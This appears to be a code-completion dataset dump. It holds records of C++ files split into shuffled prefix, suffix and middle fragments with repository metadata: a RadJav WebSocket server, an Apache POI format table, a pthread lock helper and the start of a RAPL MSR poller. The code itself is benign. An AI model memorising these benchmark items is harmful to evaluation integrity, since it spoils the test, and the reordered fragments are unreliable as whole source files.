#include "cpp/RadJavCPPNetWebSocketServer.h" #include "RadJav.h" #include "RadJavString.h" #include <boost/uuid/uuid.hpp> #include <boost/uuid/uuid_generators.hpp> #include <boost/uuid/uuid_io.hpp> #ifdef USE_V8 #include "v8/RadJavV8JavascriptEngine.h" #endif namespace RadJAV { namespace CPP { namespace Net { WebSocketServer::WebSocketServer(String listenAddress, RJUSHORT port, RJBOOL useOwnThread) { thread = NULL; m_isAlive = false; this->listenAddress = listenAddress; this->useOwnThread = useOwnThread; this->m_port = port; myThread = NULL; maxConnections = 1000000; m_serverAcceptEvent = NULL; m_serverReceiveEvent = NULL; } WebSocketServer::~WebSocketServer() { close(); DELETEOBJ(thread); DELETEOBJ(m_io_context); if (myThread != NULL) { myThread->join(); DELETEOBJ(myThread); } } #if defined USE_V8 || defined USE_JAVASCRIPTCORE void WebSocketServer::on(String event, RJ_FUNC_TYPE func) { createEvent(event, func); } #endif void WebSocketServer::myListenThread() { this->m_isAlive = true; this->m_io_context->run(); } void WebSocketServer::listen() { auto const address = boost::asio::ip::make_address(listenAddress); auto const threads = std::max<int>(1, std::atoi("1")); m_io_context = RJNEW boost::asio::io_context{ threads }; m_listener = std::make_shared<WebSocketServerListener>(*m_io_context, boost::asio::ip::tcp::endpoint(address, m_port), this); if (m_serverAcceptEvent != NULL) m_listener -> set_on_accept_callback(m_serverAcceptEvent); if (m_serverReceiveEvent != NULL) m_listener -> set_on_receive_callback(m_serverReceiveEvent); m_listener -> run(); if (useOwnThread == true) { myThread = RJNEW std::thread(&WebSocketServer::myListenThread, this); } else { DELETEOBJ(thread); thread = RJNEW SimpleThread(); thread->onStart = [this]() { this->m_isAlive = true; this->m_io_context->run(); }; RadJav::addThread(thread); } } void WebSocketServer::send(String id_, String message_) { for (const auto& s : m_sessions) if (s.m_session_id == id_) { s.m_session->do_write(message_); break; } } void WebSocketServer::send(String id_, const void* message_, int msg_len) { for (const auto& s : m_sessions) if (s.m_session_id == id_) { s.m_session->do_write(message_, msg_len); break; } } void WebSocketServer::sendToAll(String message_) { for(const auto& s: m_sessions) s.m_session->do_write(message_); } String WebSocketServer::receive() { if (m_sessions.size() > 0) { std::string message = m_sessions[0].m_last_message; m_sessions[0].m_last_message = ""; return message; } return String(""); } void WebSocketServer::close() { m_isAlive = false; m_io_context->stop(); if (useOwnThread == true) { if (myThread != NULL) { myThread->join(); DELETEOBJ(myThread); } } else RadJav::javascriptEngine->removeThread(thread); } void WebSocketServer::set_on_accept_callback(v8::Persistent<v8::Function>* callback) { m_serverAcceptEvent = callback; } void WebSocketServer::set_on_receive_callback(v8::Persistent<v8::Function>* callback) { m_serverReceiveEvent = callback; } WebSocketServer::WebSocketServerSession::WebSocketServerSession(boost::asio::ip::tcp::socket socket_, std::string sessionID_, WebSocketServer *webSocketServer) : m_ws(std::m
m_serverReceiveEvent = callback; } void WebSocketServer::WebSocketServerSession::on_accept(boost::system::error_code ec_) { if (ec_) { RadJav::throwException("on_accept error: " + ec_.message ()); return; } do_read(); } void WebSocketServer::WebSocketServerSession::do_read() { m_ws.async_read( m_readBuffer, boost::asio::bind_executor( m_strand, std::bind( &WebSocketServerSession::on_read, shared_from_this(), std::placeholders::_1, std::placeholders::_2))); } void WebSocketServer::WebSocketServerSession::do_write(String message_) { m_ws.text(true); m_activeMessage = std::make_shared<std::string>(std::move(message_)); m_ws.async_write( boost::asio::buffer(*m_activeMessage), boost::asio::bind_executor( m_strand, std::bind( &WebSocketServerSession::on_write, shared_from_this(), std::placeholders::_1, std::placeholders::_2))); } void WebSocketServer::WebSocketServerSession::do_write(const void *message_, int msg_len) { m_ws.binary(true); m_ws.async_write( boost::asio::buffer(message_, msg_len), boost::asio::bind_executor( m_strand, std::bind( &WebSocketServerSession::on_write, shared_from_this(), std::placeholders::_1, std::placeholders::_2))); } v8::Local<v8::Function> WebSocketServer::WebSocketServerSession::get_on_receive_callback() { return m_serverReceiveEvent->Get(V8_JAVASCRIPT_ENGINE->isolate); } void WebSocketServer::WebSocketServerSession::on_read( boost::system::error_code ec, std::size_t bytes_transferred) { boost::ignore_unused(bytes_transferred); if (ec == boost::beast::websocket::error::closed) { for (auto it = webSocketServer->m_sessions.begin(); it != webSocketServer->m_sessions.end(); ++it) if (it->m_session_id == m_sessionID) { webSocketServer->m_sessions.erase(it); String *id = RJNEW String(m_sessionID.c_str()); webSocketServer->executeCppEvent("close", Array<void *>({ id })); DELETEOBJ(id); break; } return; } if (ec) { RadJav::throwException("Read error"); return; } String *id = RJNEW String (m_sessionID.c_str()); String *message = RJNEW String (boost::beast::buffers_to_string(m_readBuffer.data()).c_str()); webSocketServer->executeCppEvent("receive", Array<void *> ({ id, message })); #ifdef USE_V8 if (m_serverReceiveEvent != nullptr) { v8::Locker myLocker(V8_JAVASCRIPT_ENGINE->isolate); V8_JAVASCRIPT_ENGINE->isolate -> Enter(); v8::Local<v8::Function> evt = get_on_receive_callback(); v8::Local<v8::Value> *args = RJNEW v8::Local<v8::Value>[2]; args[0] = id->toV8String(V8_JAVASCRIPT_ENGINE->isolate); if (m_ws.got_text()) { args[1] = message->toV8String(V8_JAVASCRIPT_ENGINE->isolate); } else { auto msgLen = boost::beast::buffers_front(m_readBuffer.data()).size(); auto message = v8::ArrayBuffer::New(V8_JAVASCRIPT_ENGINE->isolate, msgLen); std::memcpy(message -> GetContents().Data(), boost::beast::buffers_front(m_readBuffer.data()).data(), msgLen); args[1] = message; } if (V8_JAVASCRIPT_ENGINE->v8IsNull(evt) == false) evt->Call(V8_JAVASCRIPT_ENGINE->globalContext->Global(), 2, args); DELETE_ARRAY(args); V8_JAVASCRIPT_ENGINE->isolate -> Exit(); } #endif DELETEOBJ(id); DELETEOBJ(message); m_readBuffer.consume(m_readBuffer.size()); do_read(); } void WebSocketServer::WebSocketServerSession::on_write( boost::system::error_code ec, std::size_t bytes_transferred) { boost::ignore_unused(bytes_transferred); if (ec) { RadJav::throwException("Write error"); return; } } WebSocketServer::WebSocketServerListener::WebSocketServerListener( boost::asio::io_context& ioc_, boost::asio::ip::tcp::endpoint endpoint_, WebSocketServer *webSocketServer ) : m_acceptor(ioc_), m_socket(ioc_) { m_serverAcceptEvent = NULL; m_serverReceiveEvent = NULL; connectionCounter = 0; boost::system::error_code ec; m_acceptor.open(endpoint_.protocol(), ec); if (ec) { RadJav::throwException("Open error"); return; } m_acceptor.set_option(boost::asio::socket_base::reuse_address(true)); if (ec) { RadJav::throwException("set_option error"); return; } m_acceptor.bind(endpoint_, ec); if (ec) { RadJav::throwException("Bind error"); return; } m_acceptor.listen( boost::asio::socket_base::max_listen_connections, ec); if (ec) { RadJav::throwException("Listen error: " + ec.message ()); return; } this->webSocketServer = webSocketServer; } void WebSocketServer::WebSocketServerListener::set_on_accept_callback(v8::Persistent<v8::Function>* callback) { m_serverAcceptEvent = callback; } void WebSocketServer::WebSocketServerListener::set_on_receive_callback(v8::Persistent<v8::Function>* callback) { m_serverReceiveEvent = callback; } void WebSocketServer::WebSocketServerListener::run() { if (!m_acceptor.is_open()) return; do_accept(); } void WebSocketServer::WebSocketServerListener::do_accept() { if (connectionCounter >= webSocketServer->maxConnections) return; m_acceptor.async_accept( m_socket, std::bind( &WebSocketServerListener::on_accept, shared_from_this(), std::placeholders::_1)); } v8::Local<v8::Function> WebSocketServer::WebSocketServerListener::get_on_accept_callback() { return v8::Local<v8::Function>::Cast(RadJAV::CPP::Net::WebSocketServer::WebSocketServerListener::m_serverAcceptEvent->Get(V8_JAVASCRIPT_ENGINE->isolate)); } v8::Persistent<v8::Function> *WebSocketServer::WebSocketServerListener::get_on_receive_persistent_evt() { return m_serverReceiveEvent; } void WebSocketServer::WebSocketServerListener::on_accept(boost::system::error_code ec) { if (ec) { RadJav::throwException("Accept error: " + ec.message ()); } else { session_data this_session; std::string sessionId = boost::uuids::to_string(boost::uuids::random_generator()()); auto session = std::make_shared<WebSocketServerSession>(std::move(m_socket), sessionId, webSocketServer); if (m_serverReceiveEvent != NULL) session -> set_on_receive_callback(get_on_receive_persistent_evt()); this_session.m_session = session; this_session.m_session_id = sessionId; webSocketServer->m_sessions.push_back(this_session); session->run(); String *id = RJNEW String (sessionId.c_str()); RJBOOL acceptConnection = true; RJBOOL *accepted = (RJBOOL *)webSocketServer->executeCppEvent("accept", Array<void *>({ id })); if (accepted != NULL) { if (*accepted == false) acceptConnection = false; } #ifdef USE_V8 if (m_serverAcceptEvent != nullptr) { v8::Locker myLocker(V8_JAVASCRIPT_ENGINE->isolate); V8_JAVASCRIPT_ENGINE->isolate -> Enter(); v8::Local<v8::Function> evt = get_on_accept_callback(); v8::Local<v8::Value> *args = RJNEW v8::Local<v8::Value>[1]; args[0] = id->toV8String(V8_JAVASCRIPT_ENGINE->isolate); if (V8_JAVASCRIPT_ENGINE->v8IsNull(evt) == false) { v8::Local<v8::Value> result = evt->Call(V8_JAVASCRIPT_ENGINE->globalContext->Global(), 1, args); if (result->IsNullOrUndefined () == false) acceptConnection = V8_JAVASCRIPT_ENGINE->v8ParseBool(result); } DELETE_ARRAY(args); V8_JAVASCRIPT_ENGINE->isolate -> Exit(); } #endif DELETEOBJ(id); if (acceptConnection == false) { webSocketServer->m_sessions.pop_back(); session->close(); } } connectionCounter++; do_accept(); } } } }
ove(socket_)), m_strand(m_ws.get_executor()), m_sessionID(sessionID_) { this->webSocketServer = webSocketServer; m_serverReceiveEvent = NULL; } void WebSocketServer::WebSocketServerSession::run () { m_ws.async_accept( boost::asio::bind_executor( m_strand, std::bind( &WebSocketServerSession::on_accept, shared_from_this(), std::placeholders::_1))); } void WebSocketServer::WebSocketServerSession::close() { m_ws.next_layer().shutdown(boost::asio::ip::tcp::socket::shutdown_both); m_ws.next_layer().close(); } void WebSocketServer::WebSocketServerSession::set_on_receive_callback(v8::Persistent<v8::Function>* callback) {
random
[]
C++
src/org/apache/poi/ss/usermodel/BuiltinFormats.cpp
pebble2015/cpoi
6dcc0c5e13e3e722b4ef9fd0baffbf62bf71ead6
#include <org/apache/poi/ss/usermodel/BuiltinFormats.hpp> #include <java/io/Serializable.hpp> #include <java/lang/ArrayStoreException.hpp> #include <java/lang/CharSequence.hpp> #include <java/lang/Comparable.hpp> #include <java/lang/NullPointerException.hpp> #include <java/lang/Object.hpp> #include <java/lang/String.hpp> #include <SubArray.hpp> #include <ObjectArray.hpp> template<typename ComponentType, typename... Bases> struct SubArray; namespace java { namespace io { typedef ::SubArray< ::java::io::Serializable, ::java::lang::ObjectArray > SerializableArray; } namespace lang { typedef ::SubArray< ::java::lang::CharSequence, ObjectArray > CharSequenceArray; typedef ::SubArray< ::java::lang::Comparable, ObjectArray > ComparableArray; typedef ::SubArray< ::java::lang::String, ObjectArray, ::java::io::SerializableArray, ComparableArray, CharSequenceArray > StringArray; } } template<typename T> static T* npc(T* t) { if(!t) throw new ::java::lang::NullPointerException(); return t; } poi::ss::usermodel::BuiltinFormats::BuiltinFormats(const ::default_init_tag&) : super(*static_cast< ::default_init_tag* >(0)) { clinit(); } poi::ss::usermodel::BuiltinFormats::BuiltinFormats() : BuiltinFormats(*static_cast< ::default_init_tag* >(0)) { ctor(); } constexpr int32_t poi::ss::usermodel::BuiltinFormats::FIRST_USER_DEFINED_FORMAT_INDEX; java::lang::StringArray*& poi::ss::usermodel::BuiltinFormats::_formats() { clinit(); return _formats_; } java::lang::StringArray* poi::ss::usermodel::BuiltinFormats::_formats_; java::lang::StringArray* poi::ss::usermodel::BuiltinFormats::getAll() { clinit(); return npc(_formats_)->clone(); } java::lang::String* poi::ss::usermodel::BuiltinFormats::getBuiltinFormat(int32_t index) { clinit(); if(index < 0 || index >= npc(_formats_)->length) { return nullptr; } return (*_formats_)[index]; } int32_t poi::ss::usermodel::BuiltinFormats::getBuiltinFormat(::java::lang::String* pFmt) { clinit(); auto fmt = npc(u"TEXT"_j)->equalsIgnoreCase(pFmt) ? u"@"_j : pFmt; auto i = -int32_t(1); for(auto f : *npc(_formats_)) { i++; if(npc(f)->equals(static_cast< ::java::lang::Object* >(fmt))) { return i; } } return -int32_t(1); } extern java::lang::Class *class_(const char16_t *c, int n); java::lang::Class* poi::ss::usermodel::BuiltinFormats::class_() { static ::java::lang::Class* c = ::class_(u"org.apache.poi.ss.usermodel.BuiltinFormats", 42); return c; } void poi::ss::usermodel::BuiltinFormats::clinit() { super::clinit(); static bool in_cl_init = false; struct clinit_ { clinit_() { in_cl_init = true; _formats_ = (new ::java::lang::StringArray({ u"General"_j , u"0"_j , u"0.00"_j , u"#,##0"_j , u"#,##0.00"_j , u"\"$\"#,##0_);(\"$\"#,##0)"_j , u"\"$\"#,##0_);[Red](\"$\"#,##0)"_j , u"\"$\"#,##0.00_);(\"$\"#,##0.00)"_j , u"\"$\"#,##0.00_);[Red](\"$\"#,##0.00)"_j , u"0%"_j , u"0.00%"_j , u"0.00E+00"_j , u"# ?/?"_j , u"# ??/??"_j , u"m/d/yy"_j , u"d-mmm-yy"_j , u"d-mmm"_j , u"mmm-yy"_j , u"h:mm AM/PM"_j , u"h:mm:ss AM/PM"_j , u"h:mm"_j , u"h:mm:ss"_j , u"m/d/yy h:mm"_j , u"reserved-0x17"_j , u"reserved-0x18"_j , u"reserved-0x19"_j , u"reserved-0x1A"_j , u"reserved-0x1B"_j , u"reserved-0x1C"_j , u"reserved-0x1D"_j , u"reserved-0x1E"_j , u"reserved-0x1F"_j , u"reserved-0x20"_j , u"reserved-0x21"_j , u"reserved-0x22"_j , u"reserved-0x23"_j , u"reserved-0x24"_j , u"#,##0_);(#,##0)"_j , u"#,##0_);[Red](#,##0)"_j , u"#,##0.00_);(#,##0.00)"_j , u"#,##0.00_);[Red](#,##0.00)"_j , u"_(* #,##0_);_(* (#,##0);_(* \"-\"_);_(@_)"_j , u"_(\"$\"* #,##0_);_(\"$\"* (#,##0);_(\"$\"* \"-\"_);_(@_)"_j , u"_(* #,##0.00_);_(* (#,##0.00);_(* \"-\"??_);_(@_)"_j , u"_(\"$\"* #,##0.00_);_(\"$\"* (#,##0.00);_(\"$\"* \"-\"??_);_(@_)"_j , u"mm:ss"_j , u"[h]:mm:ss"_j , u"mm:ss.0"_j , u"##0.0E+0"_j , u"@"_j })); } }; if(!in_cl_init) { static clinit_ clinit_instance; } } java::lang::Class* poi::ss::usermodel::BuiltinFormats::getClass0() { return class_(); }
#include <org/apache/poi/ss/usermodel/BuiltinFormats.hpp> #include <java/io/Serializable.hpp> #include <java/lang/ArrayStoreException.hpp> #include <java/lang/CharSequence.hpp> #include <java/lang/Comparable.hpp> #include <java/lang/NullPointerException.hpp> #include <java/lang/Object.hpp> #include <java/lang/String.hpp> #include <SubArray.hpp> #include <ObjectArray.hpp> template<typename ComponentType, typename... Bases> struct SubArray; namespace java { namespace io { typedef ::SubArray< ::java::io::Serializable, ::java::lang::ObjectArray > SerializableArray; } namespace lang { typedef ::SubArray< ::java::lang::CharSequence, ObjectArray > CharSequenceArray; typedef ::SubArray< ::java::lang::Comparable, ObjectArray > ComparableArray; typedef ::SubArray< ::java::lang::String, ObjectArray, ::java::io::SerializableArray, ComparableArray, CharSequenceArray > StringArray; } } template<typename T> static T* npc(T* t) { if(!t) throw new ::java::lang::NullPointerException(); return t; } poi::ss::usermodel::BuiltinFormats::BuiltinFormats(const ::default_init_tag&) : super(*static_cast< ::default_init_tag* >(0)) { clinit(); } poi::ss::usermodel::BuiltinFormats::BuiltinFormats() : BuiltinFormats(*static_cast< ::default_init_tag* >(0)) { ctor(); } constexpr int32_t poi::ss::usermodel::BuiltinFormats::FIRST_USER_DEFINED_FORMAT_INDEX; java::lang::StringArray*& poi::ss::usermodel::BuiltinFormats::_formats() { clinit(); return _formats_; } java::lang::StringArray* poi::ss::usermodel::BuiltinFormats::_formats_; java::lang::StringArray* poi::ss::usermodel::BuiltinFormats::getAll() { clinit(); return npc(_formats_)->clone(); } java::lang::String* poi::ss::usermodel::BuiltinFormats::getBuiltinFormat(int32_t index) { clinit(); if(index < 0 || index >= npc(_formats_)->length) { return nullptr; } return (*_formats_)[index]; }
extern java::lang::Class *class_(const char16_t *c, int n); java::lang::Class* poi::ss::usermodel::BuiltinFormats::class_() { static ::java::lang::Class* c = ::class_(u"org.apache.poi.ss.usermodel.BuiltinFormats", 42); return c; } void poi::ss::usermodel::BuiltinFormats::clinit() { super::clinit(); static bool in_cl_init = false; struct clinit_ { clinit_() { in_cl_init = true; _formats_ = (new ::java::lang::StringArray({ u"General"_j , u"0"_j , u"0.00"_j , u"#,##0"_j , u"#,##0.00"_j , u"\"$\"#,##0_);(\"$\"#,##0)"_j , u"\"$\"#,##0_);[Red](\"$\"#,##0)"_j , u"\"$\"#,##0.00_);(\"$\"#,##0.00)"_j , u"\"$\"#,##0.00_);[Red](\"$\"#,##0.00)"_j , u"0%"_j , u"0.00%"_j , u"0.00E+00"_j , u"# ?/?"_j , u"# ??/??"_j , u"m/d/yy"_j , u"d-mmm-yy"_j , u"d-mmm"_j , u"mmm-yy"_j , u"h:mm AM/PM"_j , u"h:mm:ss AM/PM"_j , u"h:mm"_j , u"h:mm:ss"_j , u"m/d/yy h:mm"_j , u"reserved-0x17"_j , u"reserved-0x18"_j , u"reserved-0x19"_j , u"reserved-0x1A"_j , u"reserved-0x1B"_j , u"reserved-0x1C"_j , u"reserved-0x1D"_j , u"reserved-0x1E"_j , u"reserved-0x1F"_j , u"reserved-0x20"_j , u"reserved-0x21"_j , u"reserved-0x22"_j , u"reserved-0x23"_j , u"reserved-0x24"_j , u"#,##0_);(#,##0)"_j , u"#,##0_);[Red](#,##0)"_j , u"#,##0.00_);(#,##0.00)"_j , u"#,##0.00_);[Red](#,##0.00)"_j , u"_(* #,##0_);_(* (#,##0);_(* \"-\"_);_(@_)"_j , u"_(\"$\"* #,##0_);_(\"$\"* (#,##0);_(\"$\"* \"-\"_);_(@_)"_j , u"_(* #,##0.00_);_(* (#,##0.00);_(* \"-\"??_);_(@_)"_j , u"_(\"$\"* #,##0.00_);_(\"$\"* (#,##0.00);_(\"$\"* \"-\"??_);_(@_)"_j , u"mm:ss"_j , u"[h]:mm:ss"_j , u"mm:ss.0"_j , u"##0.0E+0"_j , u"@"_j })); } }; if(!in_cl_init) { static clinit_ clinit_instance; } } java::lang::Class* poi::ss::usermodel::BuiltinFormats::getClass0() { return class_(); }
int32_t poi::ss::usermodel::BuiltinFormats::getBuiltinFormat(::java::lang::String* pFmt) { clinit(); auto fmt = npc(u"TEXT"_j)->equalsIgnoreCase(pFmt) ? u"@"_j : pFmt; auto i = -int32_t(1); for(auto f : *npc(_formats_)) { i++; if(npc(f)->equals(static_cast< ::java::lang::Object* >(fmt))) { return i; } } return -int32_t(1); }
function_block-full_function
[ { "content": "struct java::io::Serializable\n\n : public virtual ::java::lang::Object\n\n{\n\n\n\n\n\n // Generated\n\n static ::java::lang::Class *class_();\n\n};\n", "file_path": "ext/src/java/io/Serializable.hpp", "rank": 0, "score": 373354.2005625012 }, { "content": "struct java...
C++
src/user/dinterrd/common/lock.cpp
ucgw/DinterR
d1be0984c8defa9f4a6686b296c335e55ee08b5e
#include "lock.h" void ddtp_locks_init(ddtp_locks_t* dlock) { dlock->data_ready_lock = PTHREAD_MUTEX_INITIALIZER; dlock->data_pend_lock = PTHREAD_MUTEX_INITIALIZER; dlock->state_pend_lock = PTHREAD_MUTEX_INITIALIZER; dlock->ref_count_lock = PTHREAD_MUTEX_INITIALIZER; dlock->sm_lock = PTHREAD_MUTEX_INITIALIZER; dlock->dedup_lock = PTHREAD_MUTEX_INITIALIZER; dlock->data_ready_cond = PTHREAD_COND_INITIALIZER; dlock->data_pend_cond = PTHREAD_COND_INITIALIZER; dlock->state_pend_cond = PTHREAD_COND_INITIALIZER; ddtp_ref_count = 0; ddtp_data_ready = DDTP_DATA_NOTREADY; ddtp_data_pend = DDTP_DATA_NOTREADY; ddtp_state_pend = DDTP_DATA_NOTREADY; } int ddtp_lock(pthread_mutex_t* ltype) { if (ltype != NULL) { if (pthread_mutex_lock(ltype) == 0) return(0); perror("ddtp_lock: pthread_mutex_lock()"); return(errno); } return(-1); } int ddtp_unlock(pthread_mutex_t* ltype) { if (ltype != NULL) { if (pthread_mutex_unlock(ltype) == 0) return(0); perror("ddtp_unlock: pthread_mutex_unlock()"); return(errno); } return(-1); } int ddtp_block_until_data_ready(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->data_ready_lock); if (lock_retval == 0) { while (ddtp_data_ready == DDTP_DATA_NOTREADY) pthread_cond_wait(&dlock->data_ready_cond, &dlock->data_ready_lock); ddtp_data_ready = DDTP_DATA_NOTREADY; lock_retval = ddtp_unlock(&dlock->data_ready_lock); } return(lock_retval); } int ddtp_block_until_data_pend(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->data_pend_lock); if (lock_retval == 0) { while (ddtp_data_pend == DDTP_DATA_NOTREADY) pthread_cond_wait(&dlock->data_pend_cond, &dlock->data_pend_lock); ddtp_data_pend = DDTP_DATA_NOTREADY; lock_retval = ddtp_unlock(&dlock->data_pend_lock); } return(lock_retval); } int ddtp_block_until_state_pend(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->state_pend_lock); if (lock_retval == 0) { while (ddtp_state_pend == DDTP_DATA_NOTREADY) pthread_cond_wait(&dlock->state_pend_cond, &dlock->state_pend_lock); ddtp_state_pend = DDTP_DATA_NOTREADY; lock_retval = ddtp_unlock(&dlock->state_pend_lock); } return(lock_retval); } int ddtp_signal_data_ready(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->data_ready_lock); if (lock_retval == 0) { ddtp_data_ready = DDTP_DATA_READY; lock_retval = ddtp_unlock(&dlock->data_ready_lock); pthread_cond_signal(&dlock->data_ready_cond); } return(lock_retval); } int ddtp_signal_data_pend(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->data_pend_lock); if (lock_retval == 0) { ddtp_data_pend = DDTP_DATA_READY; lock_retval = ddtp_unlock(&dlock->data_pend_lock); pthread_cond_signal(&dlock->data_pend_cond); } return(lock_retval); } int ddtp_signal_state_pend(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->state_pend_lock); if (lock_retval == 0) { ddtp_state_pend = DDTP_DATA_READY; lock_retval = ddtp_unlock(&dlock->state_pend_lock); pthread_cond_signal(&dlock->state_pend_cond); } return(lock_retval); } int ddtp_increment_ref_count(ddtp_locks_t* dlock) { int lock_retval = -1; int check; lock_retval = ddtp_lock(&dlock->ref_count_lock); if (lock_retval == 0) { check = ddtp_ref_count; if (ddtp_ref_count < DDTP_MAX_REFERENCES) ddtp_ref_count += 1; if (check == ddtp_ref_count) check = -1; lock_retval = ddtp_unlock(&dlock->ref_count_lock); } if (check != -1) return(lock_retval); return(-1); } int ddtp_decrement_ref_count(ddtp_locks_t* dlock) { int lock_retval = -1; int check; lock_retval = ddtp_lock(&dlock->ref_count_lock); if (lock_retval == 0) { check = ddtp_ref_count; if (ddtp_ref_count > 0) ddtp_ref_count = ddtp_ref_count - 1; if (check == ddtp_ref_count) check = -1; lock_retval = ddtp_unlock(&dlock->ref_count_lock); } if (check != -1) return(lock_retval); return(-1); } short ddtp_get_ref_count(ddtp_locks_t* dlock) { int lock_retval = -1; short rcount = -1; lock_retval = ddtp_lock(&dlock->ref_count_lock); if (lock_retval == 0) { rcount = ddtp_ref_count; ddtp_unlock(&dlock->ref_count_lock); } return(rcount); }
#include "lock.h" void ddtp_locks_init(ddtp_locks_t* dlock) { dlock->data_ready_lock = PTHREAD_MUTEX_INITIALIZER; dlock->data_pend_lock = PTHREAD_MUTEX_INITIALIZER; dlock->state_pend_lock = PTHREAD_MUTEX_INITIALIZER; dlock->ref_count_lock = PTHREAD_MUTEX_INITIALIZER; dlock->sm_lock = PTHREAD_MUTEX_INITIALIZER; dlock->dedup_lock = PTHREAD_MUTEX_INITIALIZER; dlock->data_ready_cond = PTHREAD_COND_INITIALIZER; dlock->data_pend_cond = PTHREAD_COND_INITIALIZER; dlock->state_pend_cond = PTHREAD_COND_INITIALIZER; ddtp_ref_count = 0; ddtp_data_ready = DDTP_DATA_NOTREADY; ddtp_data_pend = DDTP_DATA_NOTREADY; ddtp_state_pend = DDTP_DATA_NOTREADY; } int ddtp_lock(pthread_mutex_t* ltype) { if (ltype != NULL) { if (pthread_mutex_lock(ltype) == 0) return(0); perror("ddtp_lock: pthread_mutex_lock()"); return(errno); } return(-1); } int ddtp_unlock(pthread_mutex_t* ltype) { if (ltype != NULL) { if (pthread_mutex_unlock(ltype
tval = -1; lock_retval = ddtp_lock(&dlock->state_pend_lock); if (lock_retval == 0) { while (ddtp_state_pend == DDTP_DATA_NOTREADY) pthread_cond_wait(&dlock->state_pend_cond, &dlock->state_pend_lock); ddtp_state_pend = DDTP_DATA_NOTREADY; lock_retval = ddtp_unlock(&dlock->state_pend_lock); } return(lock_retval); } int ddtp_signal_data_ready(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->data_ready_lock); if (lock_retval == 0) { ddtp_data_ready = DDTP_DATA_READY; lock_retval = ddtp_unlock(&dlock->data_ready_lock); pthread_cond_signal(&dlock->data_ready_cond); } return(lock_retval); } int ddtp_signal_data_pend(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->data_pend_lock); if (lock_retval == 0) { ddtp_data_pend = DDTP_DATA_READY; lock_retval = ddtp_unlock(&dlock->data_pend_lock); pthread_cond_signal(&dlock->data_pend_cond); } return(lock_retval); } int ddtp_signal_state_pend(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->state_pend_lock); if (lock_retval == 0) { ddtp_state_pend = DDTP_DATA_READY; lock_retval = ddtp_unlock(&dlock->state_pend_lock); pthread_cond_signal(&dlock->state_pend_cond); } return(lock_retval); } int ddtp_increment_ref_count(ddtp_locks_t* dlock) { int lock_retval = -1; int check; lock_retval = ddtp_lock(&dlock->ref_count_lock); if (lock_retval == 0) { check = ddtp_ref_count; if (ddtp_ref_count < DDTP_MAX_REFERENCES) ddtp_ref_count += 1; if (check == ddtp_ref_count) check = -1; lock_retval = ddtp_unlock(&dlock->ref_count_lock); } if (check != -1) return(lock_retval); return(-1); } int ddtp_decrement_ref_count(ddtp_locks_t* dlock) { int lock_retval = -1; int check; lock_retval = ddtp_lock(&dlock->ref_count_lock); if (lock_retval == 0) { check = ddtp_ref_count; if (ddtp_ref_count > 0) ddtp_ref_count = ddtp_ref_count - 1; if (check == ddtp_ref_count) check = -1; lock_retval = ddtp_unlock(&dlock->ref_count_lock); } if (check != -1) return(lock_retval); return(-1); } short ddtp_get_ref_count(ddtp_locks_t* dlock) { int lock_retval = -1; short rcount = -1; lock_retval = ddtp_lock(&dlock->ref_count_lock); if (lock_retval == 0) { rcount = ddtp_ref_count; ddtp_unlock(&dlock->ref_count_lock); } return(rcount); }
) == 0) return(0); perror("ddtp_unlock: pthread_mutex_unlock()"); return(errno); } return(-1); } int ddtp_block_until_data_ready(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->data_ready_lock); if (lock_retval == 0) { while (ddtp_data_ready == DDTP_DATA_NOTREADY) pthread_cond_wait(&dlock->data_ready_cond, &dlock->data_ready_lock); ddtp_data_ready = DDTP_DATA_NOTREADY; lock_retval = ddtp_unlock(&dlock->data_ready_lock); } return(lock_retval); } int ddtp_block_until_data_pend(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->data_pend_lock); if (lock_retval == 0) { while (ddtp_data_pend == DDTP_DATA_NOTREADY) pthread_cond_wait(&dlock->data_pend_cond, &dlock->data_pend_lock); ddtp_data_pend = DDTP_DATA_NOTREADY; lock_retval = ddtp_unlock(&dlock->data_pend_lock); } return(lock_retval); } int ddtp_block_until_state_pend(ddtp_locks_t* dlock) { int lock_re
random
[ { "content": "__BEGIN_DECLS\n\n\n\n/* Create and initialize inotify instance. */\n", "file_path": "src/user/dinterrd/common/include/dinterr_inotify.h", "rank": 0, "score": 97473.99703310506 }, { "content": "struct integer_sequence<int, Ns...> {\n\n using type = index_sequence<Ns...>;\n\n};...
C++
msr-poll-gaps-nsec.cc
mhirki/rapl-tools
bf27fe416e7c93ea7f54904b47646a3471e8b910
#include <vector> #include <time.h> #define MAX_GAPS 1000 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/time.h> #include <fcntl.h> #include <errno.h> #include <inttypes.h> #include <unistd.h> #include <math.h> #include <string.h> #include <sched.h> #define MSR_RAPL_POWER_UNIT 0x606 #define MSR_PKG_RAPL_POWER_LIMIT 0x610 #define MSR_PKG_ENERGY_STATUS 0x611 #define MSR_PKG_PERF_STATUS 0x613 #define MSR_PKG_POWER_INFO 0x614 #define MSR_PP0_POWER_LIMIT 0x638 #define MSR_PP0_ENERGY_STATUS 0x639 #define MSR_PP0_POLICY 0x63A #define MSR_PP0_PERF_STATUS 0x63B #define MSR_PP1_POWER_LIMIT 0x640 #define MSR_PP1_ENERGY_STATUS 0x641 #define MSR_PP1_POLICY 0x642 #define MSR_DRAM_POWER_LIMIT 0x618 #define MSR_DRAM_ENERGY_STATUS 0x619 #define MSR_DRAM_PERF_STATUS 0x61B #define MSR_DRAM_POWER_INFO 0x61C #define POWER_UNIT_OFFSET 0 #define POWER_UNIT_MASK 0x0F #define ENERGY_UNIT_OFFSET 0x08 #define ENERGY_UNIT_MASK 0x1F00 #define TIME_UNIT_OFFSET 0x10 #define TIME_UNIT_MASK 0xF000 static int open_msr(int core) { char msr_filename[BUFSIZ]; int fd; 